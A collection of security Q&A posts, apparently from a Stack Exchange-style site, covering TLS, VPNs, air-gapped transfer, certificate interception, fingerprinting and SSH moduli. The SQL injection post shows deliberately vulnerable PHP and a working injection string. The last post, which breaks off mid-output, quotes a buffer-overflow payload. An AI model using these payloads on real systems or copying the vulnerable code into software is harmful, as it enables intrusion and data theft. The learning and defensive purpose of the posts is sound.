The TLS session exchange on itself should be secure, after all it's all that you have when you visit an online banking site for example but that's only the theory. In practice every protocol has weaknesses and even if the protocol would not have any, the protocol implementation can have weaknesses, too. To make it even harder for an attacker to make use of such weaknesses, you can use tls-crypt, which will encrypt and authenticate the TLS packets using keys from a static key file. Now an attacker would also need to get his hands on a copy of that key file, otherwise even knowing an usable attack and having the possibility to pull it off (e.g. being able to monitor traffic or perform a man-in-the-middle attach) won't help him.

With tls-crypt, all data running on the "TLS channel" is encrypted and authenticated with the same algorithms as the tunnel payload data and with the keys from the static key file. For the TLS payload data (user authentication, key exchange, config push, etc.) this means, this data is encrypted and authenticated twice. Once by tls-crypt and once by the TLS session itself, as a TLS session itself is used to encrypt and authenticate data and, of course, even if tls-crypt is not used, the user authentication, the key exchange, and the configuration push must be encrypted and authenticated; otherwise how would the whole protocol be secure if that wasn't the case?

Despite adding extra security for the paranoid VPN admin (albeit, considering the horrible SSL/TLS bugs found the last couple of years, these people appear much less paranoid as they used to), it also has another positive effect: It prevents certain kind of denial of service attacks. Even if an attacker cannot break into your VPN, he may still try to open thousands of TLS sessions at the same time. Not being able to provide a valid certificate, all of these sessions will fail in the end but until that is the case (will take 60 seconds by default), a TLS session object can use a significant amount of memory resources for a small embedded device and opening thousands of these can quickly bring such a device down. With tls-crypt, already the first packet sent will not authenticate/decrypt correctly and thus is immediately discarded. There is no need to even create a TLS session object in that case.


Send and receive files in an air-gapped system Is it possible to have an air-gapped system which can send and receive files?

From a high level perspective, I can't seem to figure out how this can work and I am starting to think it is impossible.  But before I give up, I thought I should ask the experts here if it is possible or not.

I have tried using USB drive, one way ethernet cables, public-private key pairs, web cams, ocr etc, but I can't seem to work it out.

How about using a system similar to the blockchain?  The blockchain can send and receive data and remain secure, as in an off line computer can sign a transaction where the private key is safe, then the signed transaction can be broadcasted on an online computer, which means the off line private key never gets connected to an online computer.

Can this model somehow be adapted to make it possible to send and receive files in an air gapped system?

When I say "system" I mean I don't mind if I have to have multiple computers in the system to make air gap sending/receiving possible.

Here is a quick high level diagram.  Any method I think of to send files between OF1 and OF2 (red dashed line) seems to compromise everything.

How do I send encrypted files from OF1 to OF2 without compromising everything in the system?  So far, I have not be able to think of a solution.

The difficulty for me is the red dashed line.  How do I transfer a file between OF1 and OF2.

Is it even possible?

Assumptions:

OF1 is compromised and wants to send unencrypted data to ON1, which wants to receive it.
OF2 is not currently compromised and wants to prevent ON1 and OF1 from conspiring.
OF2 is unable to analyze the plaintext to ensure it is safe without getting compromised.

There are two ways for OF1 to covertly send data to ON1. First, OF1 can send it unencrypted data and hope it relays that unencrypted data to ON1. Second, it can use a covert channel such as timing delays and hope that OF2 faithfully reproduces any variation in transmission latency or time of transmission.

In this case, You must do two things. The first thing you need to do is ensure that OF2 is capable of verifying that the data it has received has been encrypted with the correct public key, without knowing the corresponding private key or the plaintext. There is a technique which can accomplish this called a zero-knowledge proof of encryption. It is possible to verify this with very simple code (potentially even from a formally-verified library) that you can assume is not vulnerable to exploitation when parsing untrusted data. This is a lot easier to do with cryptographic code than it is to do with other code that parses complex data. You should have a good understanding of cryptography before attempting to do this.

The second thing you must do is turn OF2 into a buffer which blocks all covert communication methods. This is easy enough if it transmits data on a schedule or on-demand, for example. If OF2 is a buffer which collects data from OF1 and only sends it to ON1 at scheduled times, it is impossible for OF1 to send covert data through a timing side-channel by varying when or how fast it transmits data. In order to prevent covert information from being exfiltrated in the size of the data, it should be padded to a specific size. From the perspective of ON1, it always receives a specific amount of unreadable, encrypted data at a specific, predictable time (on a schedule, or when you want to send the data, not when OF1 does).

The actual protocol you use for the red line doesn't matter very much, as long as it is extremely simple. You should assume that Ethernet interfaces can be compromised, and that OCR scanning software is vulnerable. A possible solution would be a very simple serial protocol, such as RS-232.


The importance of changing DNS when Using Antifiltering software Is it safe that sometimes my Anti-filtering program does not change the DNS address?

If your DNS queries are being resolved by your ISP, then yes, you should change your system DNS server to 8.8.8.8 or 8.8.4.4 (Google's public DNS resolvers).

DNS filtering is performed by the ISP, typically under instruction by a governing body. In this case, the actual DNS server queried is irrelevant, the ISP will drop any DNS queries for a particular domain name, preventing users from resolving it. This occurs irrespective of the target DNS server. However, if you are actually using your ISP's DNS server, then you are giving them a second opportunity to filter your lookups.

Your antifiltering software can work in one of two primary ways;

Out-of-band DNS Queries The anti-filtering software performs DNS queries by dialing out to a C&C server, which performs the actual DNS lookups on your behalf and returns the results to you via an encrypted (SSL) tunnel. This method requires a browser plugin and is rarely used, because it is a terrible hack.
Full Connection Tunneling This is by far the most common approach, your connection is tethered to a remote server via an encrypted (SSL, PPTP, IPSec etc) tunnel, also known as a VPN gateway. All traffic is passed through this tunnel, including DNS queries. Your ISP cannot see what you are doing, instead the ISP of the VPN gateway sees all the traffic, which is why you put the gateway in a country with less strict filtering laws than your own.


Why does the SSL/TLS handshake have a client and server random? In the SSL handshake both the client and server generate their respective random numbers. The client then generates a pre master secret and encrypts it with the server's public key. However, why can't the client just generate the pre master secret and send that to the server? Why do we need a client and server random? Is it to contribute to the entropy in the master secret, or for uniformity with other key exchange algorithms such as DH?

From The First Few Milliseconds of an HTTPS Connection:

The master secret is a function of the client and server randoms.

master_secret = PRF(pre_master_secret,
                    "master secret",
                    ClientHello.random + ServerHello.random)

Both the client and the server need to be able to calculate the master secret. Generating a pre-master secret on the client and just sending that to the server would mean the the client never gets to find out the master secret.

Why not just use the pre-master?

This would mean that the entire key generation routine was based on client generated values. If a Man-In-The-Middle attacker replayed the handshake, the same pre-master secret would be sent and then used for the connection. Having the server generate a random value (ServerHello.random) will mean that the MAC secret is different if the ClientHello.random is repeated, and therefore the MAC and encryption keys will be different, preventing any replay attack.


Getting self-signed SSL certificates for all https connections made from some premises Context:
I'm currently working as an expat for my company in a country where the Internet is notably untrustworthy. It made the headlines a few months ago for stealing facebook, twitter and gmail account passwords.

There was a revolution back in January and things are supposed to have improved.

And indeed they have, since when I connect to the Internet from home using one of the local provider's 3G HSPD connection things are much smoother (but still rough on the edges like systematic 403 messages sometimes => goto reboot the modem).

Problem
But...
There's always a but...
When however I connect from the customer's premises then, among other weird things1, no SSL certificate is recognised (my company's sso, gmail...) !!!

Whenever I attempt to connect through https, my browser shows a warning page to give me a chance to manually validate the certificate.

www.google.com uses an invalid security certificate.
The certificate is not trusted because it is self-signed.
(Error code: sec_error_ca_cert_invalid)

Questions
1. What's going on here ?
2. Is there any risk in manually accepting these certificates ?
3. Is this also likely to be the reason why I can't access my company's Cisco VPN any more (I can ping the public VPN server address but the Cisco VPN client times out).

Note 1: The net admins have also barred access to facebook and whenever you connect to a page (e.g. news media) having a link to Facebook, the browser pops up a dialog box asking what you want to do with the like.php.  Probably wrong MIME type in the response.
NB: I have no Facebook account to start with.

1. What's going on here ?

Google.com does not use a self-signed certificate. Most probably all traffic is going through a ssl-aware proxy (there are commercial appliances that do this sort of job), which intercepts and handles HTTPS connections (in other words it performs a man-in-the-middle attack). It masquerades as google.com for example: If it serves you google.com under the original certificate it will not be able to see the traffic details of the encrypted connection, so it uses a self-signed certificate for the part from you to the proxy, decrypts the traffic, and then reencrypts it using google's correct certificate and forwards it to google.

2. Is there any risk in manually
    accepting these certificates ?

Are you doing or sending something you don't want whoever is operating the proxy to find out? If yes, there is.
The proxy operators can see and change everything - passwords, logins, credit card numbers, anything. What is happening here is that all your supposedly encrypted connections are in reality plaintext connections and have the same degree of security as them.

3. Is this also likely to be the reason
    why I can't access my company's
    Cisco VPN any more (I can ping the
    public VPN server address but the
    Cisco VPN client times out).

Yes, if it also intercepts VPN connections and tries to mitm them, you wouldn't be able to connect because the mutual authentication will fail.

Finally, I would suggest that you use this firefox extension: (called Perspectives) http://www.networknotary.org/index.html

It is made specifically to combat issues like that and others: It allows you to monitor if a site you visit often has changed it's certificate, so that you know that something fishy is going on.


SQL injection does not work with mysqli I am creating a simple mocking website that demonstrates SQL injection. It looks like this:

The back end is written in PHP.

<?php
    $query = $_GET['query'];

    $min_length = 3;

    if(strlen($query) >= $min_length){

        $raw_results = mysqli_query($con, "SELECT * FROM tools
            WHERE (`name` LIKE '%$query%')");

        if($raw_results === FALSE) {
            echo "query failed, no results available." . mysqli_error($con);
            die();
        }

        if(mysqli_num_rows($raw_results) > 0){ // if one or more rows are returned do following

            while($results = mysqli_fetch_array($raw_results)){
                echo "

".$results['name']."
".$results['price']."
";
            }

        }
        else{ // if there is no matching rows do following
            echo "No results";
        }

    }
    else{ // if query length is less than minimum
        echo "Minimum length is ".$min_length;
    }
?>

For this following line of code:

$raw_results = mysqli_query($con, "SELECT * FROM tools
                WHERE (`name` LIKE '%$query%')");

If I modify the code into:

    $raw_results = mysqli_query($con, "SELECT * FROM tools
        WHERE (`name` LIKE '%')");//$query%')");

As long as I provide a string that is longer than or equal to three chars, the entire data base will be displayed, which means ')");// is a valid SQL injection attack.

But when I provide ')");// as a malicous input into the search box, I got this warning message:

  query failed, no results available.You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '");//%')' at line N

I am not sure why my SQL injection would fail to retrieve any data.

You are trying to break out of the PHP function which is not how SQL injections work. An SQL injection is not a PHP code injection and double quotes won't let escape from the PHP string.

You can only modify the PHP string that contains the SQL statement:

"SELECT * FROM tools WHERE (`name` LIKE '%$query%')"

So instead, try something like x%' or '%' = '.


OpenSSL Secure Renegotiation Has anyone tried to do secure renegotiation on OpenSSL and verify it using WireShark? I can't seem to do a secure renegotiation as far as RFC 5746 is concerned.

I tried to issue the connection command "R" as suggested here. However, when I look into the packet captured by wireshark it shows the message is encrypted. In RFC 5746, it says that renegotiation should be in the ClientHello instead of encrypted handshake message.

I also tried the "reconnect" option on client and both sess_out and sess_in. After the handshake, I inspect all of the packet captured, it just doesn't seem to be having any verify_data in RenegotiationInfo field.

I understand that by default OpenSSL will disable legacy renegotiation.
This happens when using Cipher suite ECDHE-RSA-AES128-SHA but not AES256-SHA

The "secure renegotiation" issue is about what happens when doing a second handshake within the context of the first. That's what you do with R in the openssl s_client command; but it implies that the second handshake is encrypted, so it is expected and normal that you see only "encrypted handshake" messages. If you want to see the message contents, use the -msg command-line option on OpenSSL; it will print an hexadecimal dump of the handshake message before encryption. For instance:

$ openssl s_client -connect nameofsomeSSLserver:443 -msg
(...)
    Start Time: 1388406589
    Timeout   : 300 (sec)
    Verify return code: 20 (unable to get local issuer certificate)
---
R
RENEGOTIATING
>>> TLS 1.1 Handshake [length 00eb], ClientHello
    01 00 00 e7 03 02 52 c1 67 3f 99 89 75 92 fa e6
    97 f3 c3 8a f5 2c 30 ba bd 0c 20 e9 1e 3c eb 4b
    3c 2f 85 ec cd 24 00 00 64 c0 14 c0 0a c0 22 c0
    21 00 39 00 38 00 88 00 87 c0 0f c0 05 00 35 00
    84 c0 12 c0 08 c0 1c c0 1b 00 16 00 13 c0 0d c0
    03 00 0a c0 13 c0 09 c0 1f c0 1e 00 33 00 32 00
    9a 00 99 00 45 00 44 c0 0e c0 04 00 2f 00 96 00
    41 c0 11 c0 07 c0 0c c0 02 00 05 00 04 00 15 00
    12 00 09 00 14 00 11 00 08 00 06 00 03 01 00 00
    5a ff 01 00 0d 0c 63 74 19 13 be ac 02 22 04 ed
    81 61 00 0b 00 04 03 00 01 02 00 0a 00 34 00 32
    00 0e 00 0d 00 19 00 0b 00 0c 00 18 00 09 00 0a
    00 16 00 17 00 08 00 06 00 07 00 14 00 15 00 04
    00 05 00 12 00 13 00 01 00 02 00 03 00 0f 00 10
    00 11 00 23 00 00 00 0f 00 01 01

In that ClientHello, we can see the different parts:

01 00 00 e7: a ClientHello of size 231 bytes (0xE7).
03 02: protocol version (TLS 1.1 in this case).
52 c1 ... cd 24: the "client random" (32 bytes).
00: empty session ID (the client wants to negotiate a new session, not an abbreviated handshake).
00 64: length of the list of cipher suites (100 bytes, for 50 cipher suites).
c0 14 ... 00 03: the cipher suites supported by the client (100 bytes).
01 00: one supported compression method: the null compression (i.e. no compression at all).
00 5a: length of the list of extensions (90 bytes).
ff 01: extension type renegotiation_info, as specified in RFC 5746.
00 0d: extension contents have length 13 bytes.
0c: the renegotiated_connection data has length 12 bytes.
63 74 19 13 be ac 02 22 04 ed 81 61: that's a copy of the 12-byte contents of the Finished message from the client during the previous handshake.
then come a few other extensions.

So this message indicates a "secure renegotiation" as per RFC 5746.

The -reconnect command-line option does something completely different: it connects, does the handshake, then closes the connection, and then reconnects with a new connection, and tries to resume the session. Session resumption is quite the opposite of secure renegotiation: session resumption is about reusing the master secret of a previous connection over a new one, while secure renegotiation is about making a new master secret while keeping on the same connection.


Ransomware on Mycloud NAS I own a Mycloud NAS and it was affected by ransomware.

In the NAS there are several folders, most of them are password protected. There is also the "Public" folder which can be seen by all users and contains family photos, movies, etc... Until now this "Public" folder is the only one affected.

Can I download the unaffected folders on my laptop, reset the NAS and then restore the data? How can I be sure that the ransomware is not hidden in these folders?
Can the ransomware spread from the NAS to our devices if the devices are connected to the same wifi network?
If ransomware gets on my laptop and I'm doing online banking, are my bank data in danger?
Can I just remove the ransomware and avoid the reset of the NAS? I've done a scan with the app "Anti-Virus Essentials" but it founds nothing. I couldn't find Norton solutions for the Mycloud NAS.
I'm connecting to the NAS from my Linux Laptop with an NFS connection. Can the ransomware use this connection to affect my laptop?

It seems that someone was just visiting my network and no other device was affected. After having resetted the NAS there are no problems anymore.
Obviously I am not using public folders anymore.


Is there a way to find out what information website queries about us? What tool or software should I look for to find out what "fingerprinting" data
a website is tracking?

Like, I want to know, if website looks for a cache and/or fonts installed in system, or Canval, WebGL methods. There was a great project doing that called "OpenWPM" written in python, it used to track all that stuff with Mozilla driver and store it in an SQL database with pretty neat organization of the data.

I tried looking for OWASP Red Attack ZAP Proxy, but it is a tool to find vulnerabilities, not data what I want. There are a lot of plugins for OWASP but I don't know which ones to use.

No, there is not. While fingerprinting can be done by actively providing the browser with a resource that will allow for fingerprinting, it is also possible to fingerprint a client entirely passively. For example, the specific order that client headers are transmitted in gives away the web client you are using. Even if you spoof various headers like accept encoding and user agent, you are still giving away the order of the headers, which itself makes passive browser fingerprinting possible. Another example is analyzing the behavior of the client when fetching resources. In what order does it fetch resources? How many does it fetch in parallel? All of this data is routinely sent to any web server you connect to, and there is no way that you can tell if it is being used for fingerprinting purposes.

It is possible to detect if certain explicit and active fingerprinting attempts are made, for example AudioContext fingerprinting or, as you provided as an example in your question, WebGL-based fingerprinting, but detecting this will not allow you to conclude that the website is not engaging in fingerprinting activity. In addition, there are going to be numerous ways to covertly collect this information in a way that looks quite innocent to automated detection. As for specific software that is able to do this, explicit software recommendations are off-topic here (and I do not know of any specific pieces of software that can detect this, anyway).

You may want to check out AmIUnique, a proof-of-concept website that uses a variety of fingerprinting techniques, both active and passive, to uniquely identify a system. It uses not only primitive techniques such as UA fingerprinting, but more advanced techniques such as WebGL and AudioContext fingerprinting, font enumeration, browser window dimensions, etc.


Does Java applets reveal the real IP address, even when using proxy or vpn? Can a Java applet reveal the original client IP address, when browsing through a proxy or a VPN?  Why?

Yes.  Java applets can access the original client IP address using java.net.InetAddress.getLocalHost().getHostAddress() and then send it anywhere.

See also Are there any addons that disable only some functionality of scripts? and the Tor documentation (e.g., this page) for more discussion of how various web technologies could reveal your original client IP address.

Java applets can also bypass your web proxy and send packets directly back to the domain where the applet was loaded from.  This then reveals your client's IP address (not the proxy's IP address) to the site hosting the Java applet.  A Flash applet can also do something similar.

Also, many proxies will reveal your original client IP address, without the need for Java applets or anything fancy, through the X-Forwarded-For header.

See also Metasploit's Decloaking Engine for more discussion of ways to track you and recover your original (real) IP address.

And finally, you might be interested in
How much can I trust Tor?,
Different strategies for online anonymity and their +/-s?,
Whats the best way to make my internet traffic anonymous?,
Does using an http proxy completely hide my real IP address?,
How to browse the Internet safely?,
How anonymous is my setup?.


A couple of questions about port scanning I have alot of questions on my mind right now, but I'll only ask the ones that are particularily intriguing me.

First off:
 - I port-scanned my Public IPV4 address; and it returned a few ports being 'open' and some of them 'filtered' (as you would expect), but I then tried to scan my mate's IPV4 address, who lives a couple of streets away from me (yes, I already made sure that he is okay with this and that I am only doing this for my personal curiosity), and it showed all ports that I scanned were closed and/or filtered. I tried a large number of flags; fragmentation; really slow scan times and types; but every time it would show that all of the scanned ports are closed or filtered. I looked closer and saw that the reason it showed these results were because of there being 'no-respone'. Would this be the firewall/IDS blocking(dropping) the packets? I have trouble thinking so because wouldn't the router atleast reply to something like an Echo request on port 7?

2: -(Pardon my inexperience here)I also port-scanned a single port, 80 on his IPV4 address, it sent me a ICMP Type3/Code13 (Communication administratively prohibited). But the interesting aspect of it was that the reply came from a different IP address, is there an explanation to this? (I had several theories myself but decided to come here for an expert opinion)

3: -Regarding question 2 above, why isn't port 80 always open? If the host is watching a video or listening to some music-streaming website, shouldn't port 80 come up as open? Is this because the port sees that it's not a HTTP oriented packet and automatically blocks it?

I would also love if someone could point me to some links explaining their answer so I can expand my knowledge further and perhaps answer some of my questions by myself.

1.) There are some variables at play here. Mainly you are both using different routers (with different configurations) and both using different ISPs. (with different security equipment and policies in effect) Your friend's router doesn't have to reply to anything...it depends on how he has it configured. There is no definite port or protocol that can always be used to determine the asset on the other end is "alive".

2.) It's common for ISP's to block incoming port 80 traffic. This prevents customers from hosting webservers on their personal accounts.

3.) Same as above. Firewalls/routers are stateful, (nowadays anyway) which means that the firewall/router will only respond to a request that was first initiated from inside the network. (unless configured otherwise) To muddy the waters a little bit more, when a NAT is involved (and it almost always is) there are source ports involved. There is a good explanation of source ports here: https://stackoverflow.com/questions/15708011/how-is-source-port-for-http-determined-is-there-ever-collision-in-nat


Securing a JavaScript app with RESTful backend I went through the question Securing a JavaScript Single Page App with RESTful backend that has discussions / options around securing a Javascript client side app that invokes RESTful APIs.

However, from the discussions, it is not clear as to how the "shared secret" that is used for computing the HMAC is kept safe at the client side. Storing such a Shared secret in either a Cookie (which is accessible from scripts) or even in local storage is no-good as these are vulnerable to leaks. Are the keys generated dynamically so that every round trip to the server returns a new key that is to be used for computing the HMAC for the next round trip ?

My seven cents here...Nothing can be 100% secure. But 99% is doable. You could use the HMAC or even an RSA algorithm with JWTs (I'm assuming you're well versed on JWTs. If not, here is a nice article). The token is generated using said algorithm once on every successful user login. The secret is only stored server side, but there have been uses of client nonces (read more here). You could pass the secret between client and server, but it would have to be dynamic and the re-generation of tokens could impact performance.
You can turn off access to cookies via scripts by enabling the HttpOnly property on the cookies that are issued from the server. You could also set short expiration times for tokens so in case of theft, they expire shortly after. Make sure to establish TLS 1.0 or better for any and all communications between client and server, and maybe some monitoring and alerting on events generated from the app. All the best :)


Angular security in $scope For our app when a user logged in we are issuing him a token which is stored in session and we are using $rootScope to store his details.

This what we are doing

if(sessionStorage.loggedIn && sessionStorage.token){
  addonService.get({
    customer_token : sessionStorage.token
  }).$promise.then(function(data) {
        $rootScope.user = data.user;
        $rootScope.address = data.address;
  });
}

Is this procedure safe? Is there any way hacker can hijack user variable from $scope? If this is not the best practice how can I make my code better?

While the question is specifically about AngularJS the issue lies in the fact that anything that is completely controlled and executed on the client side cannot be trusted. For anything that is accepted from the client side MUST be validate on the server before use. That is the only way to feel relatively confident about the operation.

Modifying the $rootScope or ANY object on the client side is trivial as an activity. The easiest way to do it is to open a session of firebug and use the console tab's script runner section to arbitrarily change any field or add/remove any field in any object.

Let alone angular - it is possible to even override (or replace) some methods of the window or other built in objects using this technique.

So bottom line validate on the server do not trust operations and inputs that run in the client space.


Playing with Referer Header There are 2 sites:

http://www.site1.com
http://www.site2.com

http://www.site1.com contains link to http://www.site2.com as

link

When user clicks on link from http://www.site1.com browser sends Referer header to http://www.site2.com. Based on Referrer header http://www.site2.com makes some processes.

I wonder if I can fake/change (maybe with javascript, PHP, ...) Referer header or not send it at all?

There are two situations in which you would want to control the Referer header. By the way, Referer is a miss-spelling of the word "referrer".

If you want to control your personal browser not to pass the Referer to site2.com, you can do that with many browser extensions:

For Firefox there is RefControl (which I use and am happy with. I use the option "Forge- send the root of the site")
Chrome has Referer Control

The other situation is where you are a webmaster and you want the users of your site (site1.com) not to send the Referer to other sites linked on your site. You can do that in multiple ways:

Use SSL/TLS (https) on your site and a security feature of the browser is not to pass the Refererto HTTP links on your pages served up with SSL/TLS. However, if the links on your pages use HTTPS, then Referer will still be passed over unless explicitly turned off by other means described below.
Use the HTML5 rel="noreferrer" attribute. It is supported by all major browsers.
Use a Data URL ('data:') to hide the actual page the link is coming from: <a href='data:text/html;charset=utf-8, <meta http-equiv="refresh" content="0;URL=&#39;http://site2.com/&#39;">'>Link text.
Hide the Referer by redirecting through an intermediate page. This type of redirection is often used to prevent potentially-malicious links from gaining information using the Referer, for example a session ID in the query string. Many large community websites use link redirection on external links to lessen the chance of an exploit that could be used to steal account information, as well as make it clear when a user is leaving a service, to lessen the chance of effective phishing.

Here is a simplistic redirection example in PHP:

<?php
$url = htmlspecialchars($_GET['url']);
header( 'Refresh: 0; url=http://'.$url );
?>

  <title>Redirecting...</title>
  <meta http-equiv="refresh" content="0;url=http://<?php echo $url; ?>">

 Attempting to redirect to <a href="http://<?php echo $url; ?>">http://<?php echo $url; ?>.


Are all web servers for a domain wildcard certificate supposed to have the same private key? If I have three web servers that all have the same CSR based on a domain, *.domain.com, does that mean all the servers have the same private key?  I know it's a short question, but I am not sure of the SO answers I have read.

Use the same IIS RSA key on all servers

What I didn't understand because I am still learning is if they don't all have the same private key for that *.domain.com, doesn't that mean I need to generate a new key for each server?  I think what is getting me is I thought you could only have the same private key for the CSR based on the math, so it would have to be the same for each server in a domain wide CSR.

I do see that if I use one key on all that if one server gets compromised, they all do, but that doesn't help me because, again, I thought they all had to have the same key on a domain wildcard CSR.

The private key is linked to the certificate, so if you use the same certificate at different places, you also need to use the same private key.

If you want each server to have a different key, you need to generate different certificates.


How long does it take to have spyware installed on a laptop? During my commute from an airport located in a country whose government is known for intrusions into the privacy of its citizens and non-citizens, I had my laptop taken from me during a routine security procedure. I usually get to see my electronic devices being swabbed and X-Rayed as all of the equipment needed for the security checks is located in the same room. However, this time, my laptop was taken to another location where I did not get to see which checks were being performed on it. I had to wait around 25 minutes for it to return to me. Is it possible that during that time, spyware or spy-hardware was installed on my laptop?

Checking the screws and other physical marks of being opened might indicate if hardware was installed.

If you had a strong enough password, they likely were not able to "install something" in 25 minutes.

"Evil Maid" attacks have been mentioned, but, while possible, are not so probable given modern firmware. It depends on your laptop (and how old it is). That can happen in a few minutes.

Your peripherals are another matter, though, and if they had those (including the power supply), I might be more worried about those.

And yet, they would not have had to install anything or monkey around with your equipment at all to now be able to spy on you.

With your laptop, no extra equipment, and 25 minutes to leisurely do their thing, they can get your laptop's:

make, model, serial number
operating system
wifi MAC address
"auto-connect" wifi networks you use
[possible - there are a bunch of dependencies to be able to do this] services/websites you use and browser fingerprint (if you only locked the machine instead of power it down and the browser was active in the background)

and connect all those things with whatever is on your national identity papers. Now, they can spy on you just by tracking your laptop, wifi, and internet activity over the core country network and/or wifi trackers.

No installs needed.


Is the MSWord password protection vulnerable? When encrypting MSWord documents within the Word 2016 app (most recent file format .docx) what encryption algorithm is used? Have any vulnerabilities been found thus far? Has it been audited?

Edit: Word 2013 information is freely available yet I have not found as much information for the 2016 version. I am only interested in the 2016 version.

You could go right back to the source, MS-OFFCRYPTO, which details how the container (usually: the zip archive that a .docx is) is to be encrypted.

It'll tell you that you should use an embedded encrypted stream using one of the supported CryptoProviders. At this point, it's probably easiest to check which one your Word uses – you can still open the .docx as zip file and look inside, but aside from a bit of document structure, the main content will be in an encrypted stream but described by rather readable XML attributes that specify how it was encrypted.

I'd expect crypto used to be no weaker than what was used before – AES with a 128 bit key length.


Using identifiers in URLs to authenticate users Someone I know is registered on a community website where they can exchange messages etc.
Taking a look at the email notification they receive when something new has been posted, contains an image with a link to their website, something like:

http://**********.org/****/id/abcdef0123456789abcdef0123456789

Where the last part seems to be some kind of a user's unique hash, that when you follow that link brings you directly onto the website under the user account, no authentication required!

A bit puzzled, I did the test and tried it out copying the link and using it on a different system in which that website has never been accessed before and sure enough with only that URL I could log into the user account without a hitch.

Looking at the cookies stored for this website, one is a PHPSESSID which value doesn't match the ID from the URL, so clearly that hash element must refer to a user account on the server, bypassing all sort of authentication.

I'm no expert in web-tech, but out of curiosity what kind of authentication is this called? Is it a popular way of logging user? This, to me, doesn't look secure at all (i.e. sniffing network can reveal this info straight away).

If you can actually perform actions as the other user, it's called "really bad authentication". If it just takes you to their profile page, it's just a link - some systems will allow profile views even to unregistered users who have the appropriate link, even if it is normally restricted to logged in users.

Either way, be careful with experimenting in this way - following a link is probably fine, but modifying it can land you in trouble in some jurisdictions.


Consequences of tampered /etc/ssh/moduli What are the consequences if an attacker is able to modify the /etc/ssh/moduli file?

The /etc/ssh/moduli contains pre-generated group parameters for Diffie-Hellman. A DH key exchange occurs in the early steps of the SSH connection and generates the secret shared key which will be used for encrypting the data. DH works in a given group; technically, a modulus p (a big prime integer) and a generator g: the generator is in the 1..p-1 range, and it should be such that its order is a multiple of a "big enough" prime q. The order k is the smallest non-zero integer such that pk = 1 mod p. Discrete logarithm, and therefore DH, can be broken through with an effort which depends on both p and the largest prime factor of k (which we will call q):

There is a variant of the Number Field Sieve which breaks discrete logarithm if p is not big enough; current record is for a 530-bit prime and it is assumed that 1024-bit primes are still safe [Ed. Not anymore, see various blog posts about Diffie-Hellman dated 2015-10-15.], and 2048-bit primes will be safe for the foreseeable future.
Generic discrete logarithm algorithms apply with cost proportional to the square root of the biggest prime factor of k; so it is important (and sufficient) that k admits a prime factor of at least 200 bits if "100-bit security" is to be achieved.

An attacker who can modify /etc/ssh/moduli could try to replace the nice DH group parameters with other group parameters who look fine but make DH-breaking easier (or even easy) for him. There are mostly two ways to do that:

Choose a prime p and a generator g such that the order k of g is a product of only small prime integers. This can easily be done; for instance, begin by generating a bunch of small primes (say 80 bits each at most); then try random products of such primes: for each product r, compute p = 2r+1 and see if that yields a prime. If it does, then p is such that any generator g modulo that prime will imply weak Diffie-Hellman.
Generate a special prime p such that NFS is faster for that specific p. See this article for some theoretical background.

The /etc/ssh/moduli file does not contain the order of the suggested generator, so you cannot simply verify if that order is prime and matches g. However, you could take p-1 and apply the Elliptic-Curve factorization method on it: this will find all the small prime factors in p-1, and thus allow you to check that the order of g has not been weakened (k is necessarily a divisor or p-1). Thus, weakening of the first kind can be detected (albeit not in a matter of a few seconds). Correspondingly, attackers who do not like risk of exposure (in particular spy agencies) will refrain from using that method.

The second kind of weakening, however, is hard to detect. So one has to assume that an attacker who could somehow corrupt your /etc/ssh/moduli file (e.g. by altering the file as distributed with OpenSSH, through some bribery of OpenSSH developers) could, potentially, have introduced a backdoor allowing him to decrypt your SSH connections at will (SSH connections to your server, since the group parameters are chosen by the server). Since the involved mathematics are not simple, that attacker would, at least, be a competent attacker.

The only good countermeasure is to replace the /etc/ssh/moduli contents with values which you know to be correct and not malicious, by virtue of having generated them yourselves. ssh-keygen can do that (see the man page). You could also do that with some custom code (e.g. with Java's BigInteger class, this is a matter of 50 lines of code at most).

Alternatively, use DSA group parameters (they also work) which were generated as described in Annex A of FIPS 186-4: these are nothing-up-my-sleeve numbers because the candidate values for p are obtained through a deterministic, fully-specified PRNG, which, presumably, cannot be coerced into making a "special prime" which makes NFS easy. It would have been better if OpenSSH developers had used such a verifiable generation method to begin with.


Why is the truncate function for HMAC one time passwords so complicated? I've been reading through RFC4226 as part of some research and I was wondering why the function to truncate the HMAC was so complicated. As far as I understand it, the last 4 bits of the HMAC define an offset from which 4 bytes are taken to be converted into a one time password.

Why can't the truncate function just always take the first 4 bytes of the HMAC? Is there some security implication of always taking the same 4 bytes that I have missed or is it just easier to implement using a dynamic offset?

Any information anyone could provide is greatly appreciated.

It is a bit of a fetish. As far as we currently know, there is no reason to believe that using the first four bytes of the HMAC output would not be equally secure.

However, lack of reason to believe does not imply that nobody believes. Some people "feel" that systematic truncation may help the attacker in some completely unspecified way. With a lot of handwaving, one might argue that the dynamic truncation will make the task a bit harder for an attacker who tries a brute force attack on the secret key, with the help of dedicated FPGA or ASIC:

Since all 20 output bytes may be needed, the attacker must compute a complete HMAC/SHA-1; if only the first four bytes were used, then a dedicated unrolled circuit might skip a few steps in the last SHA-1 rounds (we are talking about an optimization of, at best, 3% here).
The "dynamic truncation" implies some kind of data-dependent lookup, which can be expensive in hardware area (again, this is mostly negligible with regards to all the 32-bit adders in SHA-1).

But these are not, really, good reasons. So the main point of the "dynamic truncation" is to be some kind of crypto voodoo that may awe the neophyte, and thus possibly help in acceptance. Specifying a good algorithm is not enough; implementers must also be convinced to use it, and, for that, some magical-looking gestures can play wonders.


Send hex code into standard input after getting some output I'm currently going through Hacking: The Art of Exploitation and there is an issue I'm having with trying to overflow a function pointer. The code is located here.
I'm trying to input hex code into my program so a function pointer can point at the jackpot function to execute it however I can't input it due to not being able to input hex.
The books uses
perl -e 'print "1\n5\nn\n5\n" . "A"x100 . "\x55\x1a\x56\x56\n" . "1\nn\n" . "7\n"' | ./gameOfChance

This does the following

Play pick a number game
Guess number 5
Choose not to play again by entering n
Choose to change username so we can overflow and change the current_game pointer
Enters address of jackpot function(this changes every run which is my issue)

Which would work for me as well but nm lists a relative address and the address of the function changes every run unlike what has been shown in the book. I'm wondering how I can input the address of the jackpot which I know from when the program is run as it lists the pick_a_number functions address.
So how can I input hex after I have manually input and got output from the program first. As I need the output ([DEBUG] current_game pointer @ 0x565ead9b ) to modify the address to change the name and overflow current_game pointer.
I have tried to pipe it into fg after suspending the program but that gives me an error and doesn't work(executing fg by itself does work).
Thank you!
The actual address of jackpot() is printed after the DEBUG line which changes every run.
Output:
-=[ Game of Chance Menu  ]=-
1 - Play the Pick a Number game
2 - Play the No Match Dealer game
3 - Play the Find the Ace game
4 - View current high score
5 - Change your username
